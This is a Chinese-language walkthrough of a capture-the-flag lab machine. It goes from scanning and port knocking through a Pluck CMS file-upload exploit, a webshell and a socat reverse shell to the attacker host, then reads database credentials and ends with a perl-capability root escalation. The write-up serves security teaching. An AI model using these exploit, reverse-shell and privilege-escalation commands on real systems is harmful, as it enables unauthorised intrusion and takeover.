0x01 靶机信息
0x02 Write-Up
2.1 信息收集
2.1.1 主机扫描
目标机IP:192.168.3.48
Kali虚拟机:192.168.3.23
使用nmap工具,扫描出开放了80端口,采用的pluck 4.7.13以及一个被过滤的22
nmap -sS -Pn -p- -A -T4 192.168.3.48
-sS 隐蔽扫描,-Pn 禁Ping,-p- 所有端口,-A 综合扫描,-T4 快速扫描
2.1.2 访问http
这是一个关于恒星的网站,暂无其他发现
2.1.3 目录遍历
使用gobuster工具遍历目录
gobuster dir -u http://192.168.3.48/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php
dir 目录模式,-u 指定url,-w 指定字典文件,-x 指定后缀
login.php是一个pluck登录页面
搜索一下这个版本是否有可利用的漏洞
searchsploit pluck 4.7.13
查看漏洞信息,得知需要一个管理员权限的账户才能利用
4.7.13 之前的 Pluck CMS 中的文件上传限制绕过漏洞允许管理员
特权用户通过“管理文件”功能获得主机访问权限,
这可能会导致远程代码执行。
继续查看其他目录,在planet目录下面还有子目录travel
好像是一个可控的摄像头之类的
WASD move, R|F up | down, Q|E roll, up|down pitch, left|right yaw shift speed up
space/esc toggle mouse controls
T Teleport to next object
Scroll to increase/decrease your field of view.
翻译:
WASD 移动,R|F 向上 |下、Q|E 横滚、上|下俯仰、左|右偏航移位加速
空格/ESC 切换鼠标控制
T 传送到下一个物体
滚动以增加/减少视野。
查看源代码中有这样一段话
here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b
翻译:
在这里你可以打开传送门并前往比邻星,坐标是? RA 表示打开,Dec 表示关闭 Proxima black整个门户......从 https://g.co/kgs/F9Lb6b 获取坐标
打开url是在搜索比邻星,接着查看坐标
RA 14h 29m 43s | Dec -62° 40′ 46″
打开传送门可以联想到之前受限制的ssh,三组三组数字,打开和关闭,可以联想到knock
2.2 渗透路线
2.2.1 使用knock打开ssh端口
knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
knock 192.168.3.48 14 29 43
IP+序列号
nmap -sS -Pn -p 22 -T4 192.168.3.48
-p 指定22端口
猜想正确,ssh端口打开
ssh连接,发现提示
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
你尝试过cont1=这个url里的文件吗
这个文件里面应该就是密码,不过cont1=显然是在http里的
2.2.2 使用burpsuite爆破密码
回顾login界面抓包,可以发现cont1在这里
使用burpsuite里的sniper模块
在payloads中导入这个文件
开始爆破
爆破成功,得到密码hacktheplanet
登入后可以发现这是管理员账户,满足漏洞利用条件
2.2.3 利用Pluck CMS 4.7.13 - File Upload Remote Code Execution
python3.7 49909.py 192.168.3.48 80 hacktheplanet ""
指定目标IP+端口+密码+路径
访问webshell(http://192.168.3.48/files/shell.phar)
2.2.4 反弹shell
nc -lvvp 5555
监听端口
socat反弹(https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#bash-udp)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.3.23:5555
反弹成功
查看flag1
hey good going ...your very close to root ...:) catch me !!!!!
提示我们已经很接近root了,把握住
2.2.5 提权用户proxima
浏览到backups目录下的mysql.bak文件,里面有数据库的用户名密码
用户名:alfauser
密码:passw0rd
登入成功
使用proximacentauri数据库,搜索内容,里面有一组账户名密码
show databases;
显示所有的数据库
use proximacentauri;
使用数据库
show tables;
显示所有的表
select * from authors;
搜索表内所有内容
得到用户名、密码、邮箱
proxima | alfacentauri123 | [email]vishal@hacksudo.com[/email] |
提权成功
获得flag
2.2.6 利用perl(Capabilities)提权
getcap -r / 2>/dev/null
递归查找具有扩展能力的文件
利用perl(Capabilities)提权
/home/proxima/proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
获得flag